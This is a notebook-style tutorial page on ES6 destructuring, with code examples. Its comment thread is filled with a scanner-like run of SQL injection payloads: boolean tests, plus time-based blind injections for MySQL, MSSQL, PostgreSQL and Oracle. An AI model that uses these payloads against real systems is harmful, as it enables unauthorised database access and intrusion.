ES6 Destructuring

node v0.12.18
version: 3.0.0
endpointsharetweet
Destructuring allows binding using pattern matching, with support for matching both arrays and objects.
// We don't care about the second item, so just leave it out var [first, , third] = [1, 2, 3]; console.log(first + " and " + third);
var person = { name: "Tom", age: 30, city: "San Francisco" }; var { name, city } = person; console.log(name + " lives in " + city);
Destructuring can be used in function parameters to make it easier to just get what you want.
function isOldEnoughToVote({ age }) { return age >= 18; } if (isOldEnoughToVote(person)) console.log(person.name + " is old enough to vote"); else console.log(person.name + " is not old enough to vote");
Learn more about destructuring here: https://hacks.mozilla.org/2015/05/es6-in-depth-destructuring/ Some of these examples and explanations originally taken and modified from: https://github.com/lukehoban/es6features#destructuring
Loading…

27 comments

  • posted 5 years ago by irnej
    True
  • posted 4 years ago by pepaons
    https://www.npmjs.com/package/readme-md-generator?activeTab=readme
  • posted a month ago by xsjybldb
    1
  • posted a month ago by xsjybldb
    1
  • posted a month ago by xsjybldb
    -1 OR 2+762-762-1=0+0+0+1 --
  • posted a month ago by xsjybldb
    -1 OR 2+933-933-1=0+0+0+1
  • posted a month ago by xsjybldb
    -1' OR 2+323-323-1=0+0+0+1 --
  • posted a month ago by xsjybldb
    -1' OR 2+224-224-1=0+0+0+1 or 'pXbDSSL8'='
  • posted a month ago by xsjybldb
    -1" OR 2+477-477-1=0+0+0+1 --
  • posted a month ago by xsjybldb
    if(now()=sysdate(),sleep(15),0)
  • posted a month ago by xsjybldb
    0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
  • posted a month ago by xsjybldb
    0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
  • posted a month ago by xsjybldb
    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
  • posted a month ago by xsjybldb
    -1; waitfor delay '0:0:15' --
  • posted a month ago by xsjybldb
    -1); waitfor delay '0:0:15' --
  • posted a month ago by xsjybldb
    1 waitfor delay '0:0:15' --
  • posted a month ago by xsjybldb
    feRNMPsq'; waitfor delay '0:0:15' --
  • posted a month ago by xsjybldb
    -5 OR 996=(SELECT 996 FROM PG_SLEEP(15))--
  • posted a month ago by xsjybldb
    -5) OR 547=(SELECT 547 FROM PG_SLEEP(15))--
  • posted a month ago by xsjybldb
    -1)) OR 256=(SELECT 256 FROM PG_SLEEP(15))--
  • posted a month ago by xsjybldb
    wTZBO8no' OR 721=(SELECT 721 FROM PG_SLEEP(15))--
  • posted a month ago by xsjybldb
    7Y6pSmUa') OR 310=(SELECT 310 FROM PG_SLEEP(15))--
  • posted a month ago by xsjybldb
    r9UWlAvJ')) OR 209=(SELECT 209 FROM PG_SLEEP(15))--
  • posted a month ago by xsjybldb
    1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
  • posted a month ago by xsjybldb
    1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
  • posted a month ago by xsjybldb
    1'"
  • posted a month ago by xsjybldb
    @@K2Juq

sign in to comment